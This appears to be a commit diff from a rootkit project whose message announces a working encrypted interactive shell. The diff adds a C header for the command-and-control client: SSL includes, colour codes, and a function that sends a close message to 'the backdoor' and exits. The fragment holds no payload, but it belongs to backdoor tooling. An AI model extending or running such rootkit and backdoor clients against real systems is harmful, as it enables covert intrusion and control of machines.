Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional

src/client/include/common.h

@@ -0,0 +1,55 @@
+#ifndef __CLIENT_COMMON_H
+#define __CLIENT_COMMON_H
+
+#include "openssl/err.h"
+#include "openssl/ssl.h"
+#include <arpa/inet.h>
+#include <errno.h>
+#include <malloc.h>
+#include <netinet/in.h>
+#include <resolv.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "../../common/c&c.h"
+
+#define KGRN "\x1B[32m"
+#define KYLW "\x1B[33m"
+#define KBLU "\x1B[34m"
+#define KMGN "\x1B[35m"
+#define KRED "\x1B[31m"
+#define RESET "\x1B[0m"
+
+#define CLIENT_MODE_LIVE_COMMAND 0
+//Global variable, specifying current client mode
+int client_mode = CLIENT_MODE_LIVE_COMMAND;
+
+#define GC_SERVER_CLOSE_CONN "EXIT"
+
+
+/**
+ * @brief Manages the result of a possible global command understood by the client overall
+ * (independent of the current mode) and returns 1 if it really was a global command
+ * or 0 if it was not.
+ * 
+ * @param buf 
+ * @return int 
+ */
+int manage_global_command(char* buf, SSL* ssl){
+    if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
+		if(ssl != NULL){
+            //If in a ssl connection
+            char* request = CC_PROT_FIN;
+            SSL_write(ssl, request, strlen(request));
+            //We must exit now
+            printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
+            exit(0);
+        }
+	}
+	
+    //Not a recognized global command
+    return 0;
+}
+
+#endif